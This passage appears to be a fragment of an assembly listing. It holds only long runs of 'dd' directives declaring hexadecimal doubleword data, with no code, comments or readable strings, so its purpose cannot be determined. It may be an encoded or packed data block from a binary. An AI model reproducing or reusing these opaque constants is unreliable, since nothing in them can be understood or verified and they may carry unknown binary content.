34E8C8D9h dd 28ADF90Eh, 98991E20h, 30920B6h, 3BAD6E0h, 134BC12h dd 0C6472438h, 0D8F3E909h, 4939446Eh, 73980F2h, 1B7E149Ch dd 113F01EFh, 0BAE89F4Bh, 7043464h, 0B26C0600h, 1DDF3BCAh dd 9252001Fh, 0E21122A0h, 0DB7469D6h, 4A295F1Eh, 0A6496C80h dd 98286432h, 0B8FB055Ch, 700D34h, 54B9DFC8h, 0D200FA60h dd 0D9BD892Dh, 1C126580h, 0FA0557D4h, 2DBA780h, 546A1811h dd 0FE798D01h, 90EE8C8Fh, 50D094F7h, 31F98874h, 0D2786B81h dd 6553206Ah, 0DA061F1Eh, 1F43F95h, 0DD63D19Bh, 1080BFC5h dd 0AF683B4Dh, 0DC180425h, 9D29452Bh, 1D230CDFh, 0D4602F13h dd 0DCFC8901h, 0A2B8544Ah, 5B63EC40h, 86BA00EBh, 0D231E833h dd 0B6078A30h, 7CC1C540h, 0F76F3721h, 0FAAFCCh, 0C35A760Ch dd 53E9CE72h, 6D0B461Ch, 0C03A2D44h, 6A6E05C0h, 2ED10F34h dd 0AF01F79Dh, 0DCACD0B4h, 5600CC63h, 0A4FA6CBCh, 5785F0h dd 4FBA5FB3h, 2A5DDB82h, 53ECD700h, 1CFA517Ch, 0D1380066h dd 3D4696CBh, 9749C993h, 0C31B0028h, 1A0B9C42h, 0A7440328h dd 0A869A38h, 10D21003h, 0E039CAFCh, 939D89h, 5A6C26FBh dd 0C740F649h, 4E081900h, 64FD11B0h, 8221169Ch, 5058001Ah dd 73DDE2BAh, 3A483238h, 0E93D62h, 3AB77D42h, 78CB0Eh dd 0C1E105D3h, 0C93EF821h, 85CCFD00h, 0A0092B44h, 0FCD51EDFh dd 5EE030Ah, 5DF05E6Ch, 7E002892h, 0E031C909h, 1E1A84A7h dd 0C1131FFDh, 0C604872Fh, 7730306Eh, 0CC75200h, 6D59F29Ch dd 2B6000F6h, 0F870BAAAh, 0C002163Ch, 11819A8Ah, 0CC4CFCh dd 286DA34h, 103737Fh, 0A846491Fh, 0FA9669C0h, 0CD40AFh dd 77E005D2h, 94C0F941h, 7A495601h, 8ED84BA0h, 3C44DBC0h dd 1338A99Bh, 58CB0C80h, 918A05Fh, 28559E00h, 0A9FD371Fh dd 44BF0005h, 19E8DC92h, 707E1C6h, 64F263C9h, 0E04180B2h dd 20EBFA3h, 88BB5BB1h, 6868532Eh, 27009AA2h, 0C019C548h dd 66F211h, 0DD9EA026h, 24D19695h, 1C162048h, 2940BD7Ch dd 0D590E9CFh, 61390025h, 0B1897705h, 0D800C635h, 2A166283h dd 4642156h, 59F92C60h, 0DB13BB58h, 0B98D0440h, 750CDA33h dd 0E3A7AEDh, 8B7CB83Bh, 810C263Fh, 4E0E74B1h, 5866F843h dd 815D08CEh, 0CDCBE012h, 420A4880h, 0F5915B1Ah, 93035200h dd 4EF75495h, 287A3BDDh, 0E014FDBEh, 3D2618CCh, 420E3B5Ch dd 58205AF3h, 0D9C40CFFh, 28C021C3h, 8733A0D8h, 0ED4400D5h dd 40EED784h, 98A85AF5h, 0CD1DCEDEh, 35872AB5h, 30A04ABAh dd 508B7FB8h, 50AF6080h, 6091789Fh, 0E3F3A0C5h, 9756832h dd 8F467600h, 55E85669h, 9C313EC7h, 114DA100h, 0A7993A8Eh dd 363B1913h, 38DC1900h, 1077Bh, 2E6FF2AAh, 32D3C386h dd 0D48338h, 44E921E8h, 0B4C6D7h, 0E7A70A84h, 0A84727C9h dd 0C4054900h, 820D6A4Ah, 0DEB30ED5h, 21200637h, 0FE543CC5h dd 431AAD00h, 4802381Fh, 0C1490005h, 0EE660E11h, 7FB0E4EFh dd 0BD9EE207h, 0B02A87D3h, 68149300h, 7CC74F56h, 0E30914B7h dd 7C0CBC73h, 0F5184B0Ch, 0C2DDDB10h, 0CE2DE618h, 8515C174h dd 900D76h, 1F2362Ah, 3E52D593h, 53BA8B5Bh, 83212634h dd 0F4D8F28Fh, 0D0006A0Ah, 8AEC5AA6h, 500C4C0Bh, 41653429h dd 5FD410D8h, 9C757C13h, 862D20C9h, 20CD7Dh, 62261E19h dd 1C58F09Fh, 2F231018h, 785FE010h, 0EF5A001Bh, 15C4FE75h dd 0B600C834h, 2F553AF3h, 87231Ch, 0A551AB14h, 0BC8DC3A4h dd 1A7A6607h, 0AA933931h, 5A4AB861h, 0F424500Fh, 11F9006Ch dd 484BE9D4h, 330F7227h, 0C061F83Fh, 56916E54h, 75C500D0h dd 0BC0E9969h, 26001247h, 3DD9FA2Ah, 76BA2DA8h, 53B060h dd 3EF072BEh, 9F100228h, 34260700h, 0A9C96C03h, 0E3CF0058h dd 0A65FB26Bh, 13005CADh, 74B64FF3h, 76157519h, 0AC68000Ah dd 0AA793D78h, 9B007D27h, 0E7CBB490h, 7E100CE9h, 9ACD0008h dd 7A47E844h, 88F266E5h, 3177B2FEh, 8150803Dh, 0E2EE3B85h dd 90C09B9Dh, 70F659h, 0F9D48D19h, 409F97D9h, 0DC91B400h dd 0F5A8DE05h, 13991DC0h, 0B0C840DFh, 0D3DD899Ah, 98AE3900h dd 0D6C2B5A3h, 0FD3F00BDh, 0DB9E5193h, 6F00E9F6h, 0B562563Ah dd 5C9DE5A2h, 29009524h, 4453171Fh, 4A03C560h, 0F547A7F9h dd 0CC91E0BDh, 0A33300D3h, 605045B6h, 8128DED6h, 6B0070F8h dd 0BE0613AEh, 188B1FE2h, 408649C0h, 92409027h, 40FD0081h dd 0AF6FD2D6h, 5C006D42h, 3C33110Dh, 0FC81F337h, 50C00070h dd 95ED7F25h, 0D73DE6E8h, 4F1F0714h, 9AC027F9h, 3AC68D8Eh dd 53C8A813h, 2C352A00h, 0BA03043Eh, 7000A27Bh, 0CA78C71Fh dd 341729h, 39D5A87Ch, 0CE58BEE8h, 41EC0600h, 0F8A99D28h dd 6F490118h, 95E96073h, 0CC0C20AEh, 0DF004875h, 711EAC91h dd 58FA5Fh, 344DFC41h, 1D9DD8D4h, 46634000h, 0CC2A039h dd 1C7C00D9h, 3CE36BACh, 947650FCh, 3A054B70h, 994F0C9Ah dd 0A408FC41h, 0B0E4E645h, 0A606006Bh, 56D3104Ah, 985055BDh dd 0D520239Ch, 0D0C30090h, 2171FFFAh, 3C00B3B0h, 6045424Ch dd 34056Fh, 8394D436h, 38FA9F9Eh, 0D60E3703h, 36CE376h dd 8B2FB471h, 94E0FCCFh, 7904C1F3h, 0EE45E859h, 7798FE80h dd 204100CCh, 0B391E41Ah, 36001694h, 0DDCEBCFFh, 0EBB2469h dd 29029B56h, 0AF28176Ch, 2D307B7Ch, 0D0C0A9F9h, 0FD7BFCh dd 2CB7B01Fh, 0EB07801Ah, 33529700h, 47149A12h, 2DD71E5Eh dd 0E83EC045h, 90C3F091h, 24002575h, 893185E4h, 8F3B0Bh dd 67AE8E92h, 955C34DBh, 825F4500h, 4C77592Eh, 0C9598B9h dd 0DBFE221h, 5CF25D30h, 4DD9D401h, 0F969C41Dh, 8CECFCC5h dd 57030FCFh, 0FEE0618Bh, 0FADF9DFBh, 0A3559324h, 3B35833Fh dd 0CB5CC209h, 0CC1598E2h, 0D4952416h, 0A8940008h, 3556A27Ah dd 22748876h, 14985F90h, 5239700h, 0C3F0626h, 27C6008Eh dd 0D16BAF08h, 0BA0EDD80h, 663929A6h, 0EEA81E74h, 9D190083h dd 0D878E028h, 0D938C8BBh, 372780A4h, 2934022Eh, 0AFE0C0BCh dd 0AD941FBFh, 0C2D65600h, 9740F264h, 0CA62785h, 0D0A8CFD0h dd 3D00177Fh, 882D3A47h, 121A89Dh, 144FAF74h, 694DAEh dd 0F995E101h, 3224E4h, 5D5171D8h, 31AC34B7h, 93F11200h dd 2CB8EDA3h, 983DE021h, 148B3914h, 0BF7D2580h, 0E419C949h dd 0BD15A93Bh, 1ACD808Fh, 0DF6E4D66h, 0B42E003Eh, 1BE3ABA5h dd 2800300Ch, 0FCE41741h, 600EC835h, 682FB11Ch, 8B00226Ah dd 0FE5B2576h, 3B0DB79Bh, 100D216h, 236231B1h, 0BA00CF12h dd 0C8A3E05Ah, 438987h dd 2C3E754Ch, 8FF5EB04h, 0E90F8673h, 0E799C524h, 0F14034DFh dd 4848C33Ch, 3800FA95h, 1961C48Fh, 7E07844Ch, 237CB29Eh dd 923681E0h, 0AE523CE7h, 0FA26DF00h, 0F80161A9h, 8994E600h dd 1A665E85h, 0B05A0065h, 26AF5441h, 6F00906Eh, 9C43EA57h dd 75F4729Bh, 8F0B004Bh, 0AA32792Fh, 0C9079589h, 82926A09h dd 1ADF8730h, 0C4B70014h, 4498F33h, 8C0037DDh, 0D1AD1135h dd 1DACAABh, 2853B373h, 0E48F3AAAh, 2C0094BFh, 1CFA224Dh dd 3C7C99h, 3E9C47E4h, 0D1C3A2C1h, 75F89600h, 0D3BB2B28h dd 605E093h, 0B0EB1DBAh, 0CD0A9430h, 92B3F5C5h, 0E6A6E400h dd 3B9535Ah, 0DBDE412Eh, 3800CBBEh, 38E1A3FEh, 1CDFB4h dd 0EB109DD9h, 0DA03B7CAh, 0BE63D300h, 0C4E45152h, 600B0008h dd 3B7FEA14h, 0BB30D054h, 0D84C29D5h, 73C80FA9h, 8F67CBE8h dd 0A800B9BAh, 6C97AE81h, 1D246200h, 0C34FAB3Dh, 0D61A6021h dd 0AE734CA3h, 0B7A0E003h, 806DAD17h, 2649405Ah, 632F4Fh dd 64AE1BB3h, 3E004B03h, 0D3B52F5h, 0E2A6C6h, 0DCF6539Ch dd 74402D66h, 0D84D6B90h, 1A4A01ECh, 0FA7E7775h, 98F95C34h dd 47D70126h, 0E5354561h, 0EE188E94h, 5FD8C00Fh, 0A39FB895h dd 9CABA0D0h, 0D3CD3C4Dh, 0A0107D31h, 0F7E0C5Dh, 0D791475Ch dd 0A971C61Fh, 501D181Bh, 7C4C95BAh, 17979E6h, 8802EFD2h dd 0E12ACD6Ah, 450840BAh, 0CC0041DCh, 104DF968h, 0C31BD919h dd 0B211A280h, 608014D2h, 54D8D263h, 80769200h, 0D4CB8C2Ch dd 2A4B003Ch, 871D5B67h, 1B7819C7h, 0AFC99707h, 6C141471h dd 0A5D098C0h, 0A3EC2CCCh, 0BB9D03C1h, 9C8A9F4h, 0C0004CBDh dd 0B61BC975h, 0FC2F9Fh, 0D98EB082h, 0D67EE55Dh, 44CE6A01h dd 20FFB6ECh, 636130h, 467371EDh, 2886D40Ch, 69477B1Fh dd 0BBC15180h, 7A7B607h, 0FE3AE475h, 0B5BEA089h, 3600E89Ah dd 24DF74ABh, 7F734E95h, 6A7449h, 3F9C0C6Dh, 9A4F219h dd 0B7ACA100h, 0B4AD1511h, 0B7344CCAh, 509E2817h, 442F434h dd 0AB0D17C3h, 0D1E463E0h, 47F319C0h, 64C6FD0h, 52D87562h dd 0E663083Ah, 88CF9421h, 30973396h, 4B51CD1Ah, 811E9980h dd 4500D789h, 0EAD50C6h, 0E49600D9h, 0DEDC2890h, 150C435Fh dd 38D87EB6h, 404A2519h, 8D4E5280h, 30C01A3Dh, 0D699FBCBh dd 8012180Fh, 4AD320FAh, 0A27CA414h, 3868F220h, 1800198Fh dd 0A9C75605h, 0A8E55EEEh, 11D04074h, 882A4C72h, 289180D9h dd 35D242D0h, 83D40400h, 0AC3A181Ch, 250D602h, 27179C88h dd 40CA8484h, 0ECAA1512h, 1D4A0C95h, 3690A456h, 0C6A5CD0Ah dd 7080BC8Fh, 1A4C126Eh, 0FAF90C29h, 0A8089911h, 775221C0h dd 1637812h, 984BFDB3h, 8EF99039h, 0C2E150E8h, 0C97757BFh dd 7BD0701Ch, 0ECE3542Dh, 0B68000Eh, 0B86D119Ah, 554879D7h dd 89524E8h, 0B602381h, 0C1EDC04Ah, 0FE73BC10h, 0F800D17Dh dd 35D962EAh, 0CD49602h, 0B91AAD4Ah, 447034C8h, 0CE79326Eh dd 9B9A0307h, 0FF9031CDh, 0D417E181h, 0A26366CEh, 0D0B9D1h dd 6E6A6469h, 0D658AAA3h, 5C00497Eh, 159A9D04h, 0F20A0609h dd 0DB930325h, 0DD184469h, 7D51D1D0h, 0AF79A200h, 955E64AAh dd 5D881243h, 0A4380175h, 80DBA616h, 1DEC8738h, 989F26h dd 0A34638E4h, 7B66CB78h, 4DE58200h, 0F2F61A09h, 14187DA8h dd 0ACE3F019h, 0E6B53C06h, 0E8B0E8C5h, 2CEA8424h, 0A803658Eh dd 0B6FC008Dh, 5845C41Bh, 80A56930h, 0C0CE1C97h, 6515D4E1h dd 48CCB47Ah, 7AB0785Fh, 13CB005Bh, 0CC7EE7F8h, 0EA005D23h dd 45B88579h, 95F7FE1h, 0AABAB54Ch, 28196020h, 5C925791h dd 1C86627Ah, 0D16ED04Ch, 0ACDE884Ah, 0E3CF00D1h, 0C689AFC0h dd 48B62300h, 161D2FA2h, 26BD0F17h, 9783CF93h, 0E010DE0Dh dd 54508D1Ch, 75048CA2h, 911A4112h, 5120AC62h, 4E127Eh dd 64BAAF6h, 8BC2C698h, 28499212h, 0B506BC5Ch, 0A0D8BD16h dd 0C00850D8h, 37878118h, 0E710A9ADh, 0F89039CBh, 66169FC1h dd 88EC44D4h, 583E0734h, 44E2C595h, 17D4680h, 119C0B6Ah dd 0D0CB95Dh, 38399140h, 67800B62h, 8613B0EEh, 0D5E01956h dd 22179B06h, 4E195F1h, 68478588h, 0BF70C781h, 589B0C91h dd 3048816Bh, 17E1E215h, 9E528C4Ah, 16523DCh, 4C71D04Dh dd 20D61972h, 0A5CFD596h, 0BA2A5600h, 5308D484h, 6523004Eh dd 98D419Bh, 0D8504A2Eh, 72567888h, 7A2380h, 119B0B67h dd 0E186B865h, 0C5F3810h, 8117E638h, 8474B34Bh, 5180E8E5h dd 6479773Ah, 19006653h, 0D37CEDDFh, 685628h, 0F96A67C4h dd 8DCC447Fh, 9708B218h, 45E5C8F9h, 0E2283255h, 38F630E5h dd 0ED181601h, 1210554Ah, 0D38048F6h, 40177997h, 27024CD2h dd 0CC497AABh, 0B018420Dh, 144562B8h, 0D4A63D50h, 71F74600h dd 0E561AEF9h, 6971D560h, 5C2C846Bh, 6F00DAE4h, 59750A54h dd 3902D9B0h, 0B8DED563h, 0AC3848CBh, 69A3019Bh, 951A9945h dd 0B509984Dh, 0A58C21h, 50420CA3h, 7B9D89C3h, 36C8AB02h dd 48A4F18Eh, 1F9EB24h, 90E9772Bh, 0D9E0FBB4h, 7E6BF022h dd 8F609C01h, 0CC5311B8h, 0D206FC23h, 0D8C83665h, 874A1D07h dd 0AFCE5976h, 0A2AC89B5h, 65AAFC14h, 60E5E410h, 0B888C571h dd 15A4A423h, 0A4CAB502h, 0D41B2000h, 424362DEh, 0E621400Ch dd 0A629E2h, 80B7507Ch, 25865745h, 0C746C500h, 5CF836D1h dd 1E9A0205h, 560EE842h, 0E7648447h, 61A50C61h, 704AF100h dd 683F45E4h, 84EC5129h, 0FAAAFE18h, 30A158C2h, 40081272h dd 64F7C91Ah, 7B4E40A4h, 5CB98612h, 0E38C84D8h, 0C960E508h dd 0BA21A811h, 5F90093h, 0A05B999Dh, 4B187C6Dh, 9B5117F5h dd 0E14B943h, 4D47ACB5h, 4C868F4Ah, 65FA19CBh, 32012499h dd 1A5E3E0Fh, 0FD174184h, 84DC8E9Ch, 0BE629295h, 18CA1443h dd 0D082B089h, 80ABB5Eh, 46154902h, 124869C2h, 0E33F1440h dd 7FA1004Bh, 0E523CA16h, 51E3D479h, 0D6D56284h, 98047C4Ch dd 0A14568A3h, 8B20C062h, 22A3A2h, 48FED2B7h, 116489CDh dd 8028E548h, 71412F88h, 0B4400F0h, 0D4400DA4h, 0E4CF987h dd 97B30044h, 0AD51FC05h, 5D507A06h, 0E97A6CE4h, 0C0D77900h dd 8DD6BB00h, 3306164Bh, 1B432E44h, 3FCB1014h, 373C8007h dd 1E11B966h, 19D0604Eh, 2931FA96h, 50EEB426h, 5D678004h dd 0E5A204A3h, 10703931h, 0D1880B1Ah, 3200DB79h, 58445B6Bh dd 914CB912h, 0EB124C01h, 28988883h, 0F776F8CDh, 41D46324h dd 20931709h, 0CA031108h, 0B59A0032h, 6B7ADF14h, 0BA2A7CAEh dd 3360B0C4h, 92AC160Ch, 4D0A0A82h, 1A0A72Bh, 683A44D9h dd 0BDD7F8D5h, 0F627C32Eh, 819BD009h, 0A65481Ch, 0F7B1A857h dd 0CDF0693Ch, 9D1F264Ah, 37C26084h, 49037828h, 5843AF89h dd 1BC905B5h, 2CD2E26h, 0E69645A4h, 0A344B447h, 0C4C0E167h dd 0D2D841A4h, 4A6C00E5h, 753112E1h, 0CE406B5h, 622070B4h dd 50411CDCh, 0CF4647Dh, 40519BF1h, 2FB0B60Eh, 0B32BC049h dd 92D2973h, 27E5B806h, 0B402548Bh, 7C626C96h, 68821842h dd 9A18B929h, 456A11A3h, 80B48891h, 9DA3A48Dh, 0E3034B06h dd 75884585h, 0E7880699h, 0A0F3BA05h, 0A0CCE42Ah, 0EBC01007h dd 64709BD6h, 3D79B6FBh, 4CA647CFh, 0CE7C5830h, 9A01C52h dd 2048DE17h, 0E6A0B534h, 30209879h, 5239BBB8h, 2700CA64h dd 0E27F5893h, 187D5AACh, 6EE51F38h, 36184109h, 1331BDB9h dd 0F70400CFh, 34F6E337h dd 4501E235h, 0A24703B7h, 6281AEC9h, 4C9F8DAFh, 1686267h dd 3C5E7F66h, 22F9EC75h, 99CB6474h, 0A707BA30h, 3223CFE2h dd 1866CD08h, 9D02D446h, 0C9456BA3h, 8600B09Ch, 0CD74A3A7h dd 7533364h, 9CAEC8DAh, 80945A58h, 7266CFA2h, 9630B53Eh dd 71188B0h, 0B6B4034Ah, 0C01BB791h, 76E92414h, 0DD8804CCh dd 0A4C71543h, 0B6BC098h, 4521119Fh, 9120BDB9h, 63243Bh dd 0D82F4D39h, 13D06204h, 409B2C81h, 0BDB38EB4h, 464C24DDh dd 89211DAFh, 0F244529Dh, 54C0989Ch, 1263CC59h, 1DD9120Eh dd 1C7C00Ch, 0AE4A7B61h, 84A20926h, 39584584h, 2E1D6890h dd 1F8701FCh, 4B20CF93h, 0AD80C869h, 44812C94h, 8D3A3B8h dd 2911204Eh, 7ECD8183h, 0F059DD5h, 41306AA4h, 62BC418Ch dd 0FB084005h, 27FA3B94h, 0ACE5971Ch, 0D40098A8h, 7565C080h dd 0C62032h, 218C5E13h, 8AE77DA1h, 56914600h, 34CB6F5h dd 1520185h, 0ABF3EEE1h, 0F00FDD3Bh, 0AE0CB518h, 0ACBD26E7h dd 0DBCA00A9h, 150CD0E9h, 70017F5Dh, 0D32EFF68h, 0C02AA2ECh dd 0B942E961h, 0D67AC607h, 60FEDC5Dh, 927F3A1Ch, 0B5640E6Eh dd 0A680C5A2h, 76E41A22h, 0FA84B800h, 65C6ECAFh, 438B00BDh dd 49EA0426h, 0B30023A5h, 5F3F7D91h, 4EDC42h, 2C95ED87h dd 0CC3659E8h, 181C6F3Bh, 0F540E40Fh, 0CB4D0001h, 7AABAF53h dd 123858C5h, 34558060h, 0A7A2B4C1h, 1E75001Dh, 6138B5EBh dd 0DC022E1Bh, 0D973BDD8h, 48B6E0F9h, 7AAD00E2h, 0A1BC494Fh dd 0A20014C2h, 5A383078h, 6147B4h, 0E080297Dh, 0CB11C0EDh dd 54244Ch, 475BFF14h, 0DB4453h, 67A7CF33h, 9F16571Eh dd 1D8BAB0Fh, 0E0EEAEEAh, 48D40C69h, 2BBE07D0h, 0C04D40AFh dd 1B3ACB7Ch, 0E9876801h, 359A6ACAh, 2229C4h, 6EE53B17h dd 1D544D36h, 40614326h, 54824ABAh, 64C08049h, 5F2FD0h dd 883E02ACh, 8F18A1E9h, 365A9412h, 38CA0h, 0E87F46C0h dd 0DFE9606Ch, 0CC00C894h, 31C8D51Eh, 0A8D30155h, 0FE5A2B7Dh dd 157BF895h, 8C501860h, 4AEB17h, 5063A62Eh, 8D145940h dd 0DFAE0400h, 0BC8BDD9h, 0DC1A0BF9h, 0F0E9DBAAh, 99B5F096h dd 40434D00h, 60B0F161h, 8C133ACBh, 820C78A4h, 1D48062Ch dd 0E501E8F0h, 70FB385h, 0CAD5B98Eh, 30389C4h, 6C6084D7h dd 14887978h, 3600D3E6h, 70B334CFh, 2C56BB2Ah, 8990484Dh dd 0A850157Eh, 3C1E0EE2h, 0E080B394h, 8AB8073Fh, 7FDC1569h dd 98009809h, 0CADFA6D3h, 2BF80833h, 0D8C86C3Bh, 4B0E009Eh dd 0BC9A8160h, 0FD380072h, 0DD7E8FC9h, 4EA21AAh, 62B8A460h dd 7B7DB3Ah, 5551C56Bh, 0C516272Dh, 82B80424h, 0B8D5409Bh dd 0A07ECBBDh, 0D911CCh, 0C41ED6DBh, 0F036EC24h, 235333Ah dd 37A7EF7Ch, 0ACDC54A8h, 0D39B3A7Ah, 8CC87068h, 0A005B18h dd 0C6CE7655h, 1778D9h, 0E04A28CDh, 0B4FE0B25h, 0D14C5700h dd 32770210h, 8925Eh, 0A32C94BDh, 1B470D93h, 87FA7A01h dd 8A8C71A8h, 95E2F5E4h, 0D18E8422h, 0B9769420h, 9E24157Fh dd 6100D8EFh, 7308DE39h, 0C80050C4h, 0DB9B60Eh, 0E03B0A10h dd 6F68008Ah, 0BFAB3A6Dh, 0C4018CD8h, 0D994E61Ch, 85D43371h dd 87DA0031h, 0C2C63711h, 0B10F3AFBh, 0AE801BBEh, 0AD68D823h dd 0B2802C5h, 25A4563Fh, 72F7DC80h, 68EC8D20h, 50D86C60h dd 1BF396h, 0C1A0D2A6h, 493C84BFh, 13EF2E09h, 709C009Ah dd 6DCD43h, 0E4D2E7B9h, 2B57C4F9h, 0C5CA8E00h, 2FA018BBh dd 0D9813816h, 228F3B00h, 96FFB05Dh, 8F0EE00h, 0F96898C8h dd 13EAE4D8h, 293488h, 0FF058D95h, 0B21F2246h, 57002CB7h dd 0AC811326h, 3CA009DEh, 94500CF2h, 733BE38h, 0BCCC156Ch dd 0E4CC50A9h, 0FC587F99h, 5551FF8h, 9F43CFDDh, 532048AFh dd 0E076B798h, 146F3Ah, 5D77D316h, 0BA9FE7h, 8B4A2986h dd 90D8C4CFh, 3C788C00h, 0F0FB3B0Bh, 3A74186Ch, 50EBD01Fh dd 0F66D73Ah, 17A71804h, 479806AFh, 0D400202Bh, 0D84AAD11h dd 249EB737h, 80AC92F2h, 7DC8070h, 4B310898h, 1B19A63Bh dd 97EA424h, 9D53402Dh, 140ED458h, 0E1853AD1h, 1D0357FAh dd 1F842983h, 16E9382Eh, 0C84AFC2Dh, 6A0D8000h, 0BC43E13Ch dd 986D4905h, 2F4B0F7Dh, 0FA4059FCh, 0A5974532h, 2650FE0Eh dd 0E05DE063h, 7195A3h, 98CB3B04h, 35E7C73Fh, 56FC3D1Ch dd 0EF83A280h, 0D82930h, 22AA4A4Eh, 0A7E19627h, 1FA1DB00h dd 48B917Eh, 52F875h, 3AF093CDh, 77105B8Fh, 2497B00h, 0CA04E99Eh dd 4ED31CC6h, 0C8940157h, 0F4FAF465h, 48FCFDE3h, 27B51300h dd 35FF3781h, 95AF0025h, 0EA69CCF7h, 0EEF47265h, 30BB7B00h dd 0A3429140h, 0F25A01A0h, 47E7BFD1h, 0AAD320ACh, 0B27413B8h dd 0CA2A80E1h, 1B9D0DEBh, 23430A04h, 98D798h, 0C96835Fh dd 0E40069BBh, 4BFBE357h, 0B23302h, 14F4019Eh, 0C4751324h dd 0EA6F3800h, 185898D3h, 0F7AF00B6h, 0BDFC5FBh, 7307BFC9h dd 0A9E52F9Bh, 0E0636B30h, 0B60500ABh, 79E96D1h, 0A300D8BBh dd 0A825DC38h, 0F89D5B5Dh, 4C946019h, 51BE5EC3h, 42D3401Dh dd 0E0A06CC0h, 0C1EE62h, 77B781B5h, 0E1E95601h, 88CAC00h dd 8ECB925Eh, 4546000Ah, 0AA446604h, 2300874Bh, 0B35EEB09h dd 16D5A0h, 0A429AC5Bh, 0F58699F6h, 3065D100h, 8A010747h dd 83B300A7h, 594D265Ch, 0B6073EFAh, 7FDACCC2h, 1BDC31E0h dd 9918003Fh, 4F7BBAD9h, 96003E0Ch, 0F472ABFDh, 24954037h dd 8038DC7Ah, 68A1D57Fh, 0B5011B09h, 9B3C5086h, 3030696Dh dd 1EF0002Fh, 6B4BA3D7h, 0E24A1DC4h, 0E0F4EC8Eh, 7925349Ch dd 4B48A0D2h, 313FA2Ch, 3942F7D1h, 180FAD21h, 61A0945h dd 7811E097h, 146100E9h, 0C323483Dh, 8F1EC612h, 8380F88Ch dd 0DD5C526h, 78034884h, 6B304D00h, 25947E95h, 610A121Ch dd 0D4222880h, 0FE996DC6h, 5B3000F7h, 6469A44Ch, 914A7734h dd 0D94B40D1h, 0D7295D0h, 4594F252h, 4ADDF410h, 74993803h dd 7750A3Eh, 0CF95BA20h, 4B6BF007h, 0B900FA19h, 0CBF64530h dd 0BD7D36h, 0E3D7911Dh, 0EA33CFD5h, 0FD8AC700h, 0ADF03115h dd 0C1BC072Fh, 0B0469098h, 0E8AE9BC4h, 3096AF17h, 3BFC5600h dd 48ACCB9Ah, 5F01CFCEh, 529F9E85h, 0DEB6D4EFh, 0B7015D24h dd 0E32D4300h, 34B90Ch, 0BFA4BA99h, 30AA0290h, 3B01F07Fh dd 9766F501h, 0FFE0B35Bh, 907FEAh, 71AC3763h, 2CAEDB6Dh dd 52B73Eh, 0A1F3F781h, 8BD483h, 0C09AD2F6h, 0E0EC38F2h dd 0EF0D071Ch, 49FBD00h, 5005AAh, 59DC4EB5h, 6197D883h dd 46E81890h, 0AD1A3D00h, 4F631E1Dh, 7D9200D2h, 456C564Ah dd 0A096F950h, 7C917004h, 69029CB3h, 55119D0Bh, 2E609CF1h dd 0F70B61h, 4D286215h, 0EA651440h, 716C81Ch, 0CBE60BBBh dd 6DC98496h, 0CD36F8C0h, 601C9EA0h, 1A4B1273h, 91F98121h dd 7C4F05ADh, 41C0D412h, 1FC41A0h, 8D213ECh, 6C695846h dd 169F0200h, 7A25CC72h, 0A59004A8h, 0E5A6B94Eh, 0E3DDD8h dd 5CD424Ch, 30E439CBh, 0A2A8F356h, 6EF230DFh, 8BBAA900h dd 28BE8F7Ah, 58EE62ABh, 480009F4h, 3FA8B8AEh, 3A8063A7h dd 13C8BBACh, 36000477h, 24887DEEh, 1F81256Fh, 8379FC9Fh dd 6016AB76h, 0D0B0B199h, 1900D29Dh, 5AEA7DCDh, 0B3AFF8Dh dd 1586EBA6h, 6907E776h, 87A06192h, 164BABh, 24A50847h dd 5483FFC2h, 8089E73Dh, 8D62D2DEh, 77C6EA50h, 48110088h dd 1BEB6340h dd 0E3001E20h, 55E2E029h, 75FC9Ch, 0A417F9A6h, 0DD07BB68h dd 0BC38D43Ch, 0AB531EA0h, 1839D55Eh, 148138Ch, 37831897h dd 822B28E2h, 7C424E3Ah, 0CCD9120Eh, 88009002h, 0C5CFF1C4h dd 38D8A013h, 189C9818h, 1126541Ah, 18602A91h, 56CF4159h dd 0AC2C000Ch, 1D81CEE5h, 960099E3h, 4F8259CCh, 1759488h dd 0A4686F3Ah, 0C8CB3E6Dh, 4700A233h, 78C6F392h, 1FC791C2h dd 5706B616h, 0E59A0C70h, 0D5702081h, 0CB3D78C7h, 0C6AF3070h dd 0F4B80082h, 3AFA8954h, 0D830E72Eh, 994029C0h, 0A380C068h dd 38F0C9CBh, 0C10E02E4h, 0A039A0D7h, 0A9C28192h, 1EDC7E86h dd 4CA10307h, 0C3189396h, 8FB540F1h, 181D8A83h, 0D900FCBAh dd 498B51C7h, 0C5020085h, 13C670E5h, 0F400AEB9h, 226674C3h dd 10CC7E6h, 5F12AF53h, 741ADC56h, 21030747h, 0EE1FFEFFh dd 0BB208116h, 283A2180h, 0AD584431h, 81C14D07h, 63C7DB62h dd 3EB6D00h, 45CA00E5h, 0B28F06DDh, 6418667Eh, 11406339h dd 7B49C0A0h, 0B01F05E6h, 2069D800h, 0EFDBFC7Fh, 205A6016h dd 60093663h, 0B6037777h, 9ED37A3Eh, 68A340h, 5FC11971h dd 0EC13B8ABh, 0AC297E0Ch, 10ED08E8h, 182B7CCAh, 0DE316A81h dd 0AABA1FCEh, 79050074h, 9D29EEFEh, 0F35A7801h, 3426E28h dd 0F04E1C43h, 759FABDh, 2102B9F4h, 6E92003Fh, 80EF4423h dd 9A713AD1h, 1E62B1B9h, 7399E037h, 21004308h, 49A49D9h dd 0CE80BEBh, 54272BD5h, 433052E1h, 0F905291Ch, 0AAB7007Fh dd 1ACA5D62h, 0DF407B74h, 8FC0F56h, 3DDF29Fh, 0E05B5A9Ah dd 41490830h, 9FEFB1h, 76692506h, 89E5522Ah, 36786514h dd 80A188BCh, 371D21FBh, 0BA08BEF7h, 5E019FEDh, 16863179h dd 0EA9F908h, 7067E160h, 81B4DA81h, 51ACF6E6h, 2EE0EE8Dh dd 0F300FF3Eh, 0D4C9770Dh, 0E1DDA1Bh, 0E617990Fh, 0F80D88EFh dd 75F891E9h, 0F59F0580h, 208C9062h, 0A6011BF0h, 0AC1C9FECh dd 0C2C451FAh, 0F884008Fh, 0F43C0913h, 9A484862h, 7EC232Ch dd 72585FBEh, 6E19404Eh, 5FB61810h, 0E88D1901h, 6567971Bh dd 26DC7183h, 2C801727h, 49308843h, 0A8861938h, 76E31D9Ah dd 0F6B30378h, 0FBB07D90h, 0E90BD75Fh, 0C5D2539h, 4231E9h dd 71E15090h, 0B2B48411h, 387E5DE2h, 795E9F03h, 0B05865C7h dd 4953011Eh, 2E81D0ACh, 92210431h, 0D0222088h, 102327B1h dd 9636DD31h, 1F4FA07h, 46F2D2B6h, 422C4747h, 69181BFAh dd 0A7E60038h, 27242A22h, 342991B0h, 0E200683Ah, 97EB173Fh dd 0CB2F00F2h, 8EC52B5Ah, 300E550h, 